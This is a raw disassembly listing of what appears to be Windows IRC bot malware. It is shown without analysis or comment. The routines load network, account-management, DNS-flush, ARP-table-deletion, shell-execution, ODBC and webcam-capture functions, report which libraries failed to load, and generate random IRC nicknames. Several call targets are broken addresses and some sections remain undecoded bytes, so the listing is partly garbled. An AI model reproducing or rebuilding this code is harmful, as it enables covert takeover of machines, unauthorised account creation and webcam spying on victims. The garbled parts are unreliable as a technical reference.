aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CAEA0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j call near ptr 2680925h nop mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 2680925h mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 2680925h mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 2680925h mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj call near ptr 2680925h nop mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j nop call near ptr 2680925h mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 2680925h mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D338 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D54C push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D528 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F8 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C8 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D598o arg_0 = dword ptr 4 push esi push edi nop call near ptr 269061Dh push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D600[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 0F3h, 58h ; --------------------------------------------------------------------------- sub [edx], al push eax call sub_41B8D8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 269061Dh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 269061Dh nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431258 push eax push esi nop call near ptr 26C0000h movsx eax, byte_431258 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 269061Dh nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call near ptr 26D0000h nop mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43125C push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h nop call near ptr 26D05B7h nop call near ptr 269061Dh push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_431284 loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431280 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_43127C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43126C jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431268 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431260 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B468 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 269061Dh nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431290 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431288 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431290 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D594 loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D60C jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D598[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 0E8006A14h, 22D4E50h, 555E5F90h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431390h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] nop call near ptr 269068Dh 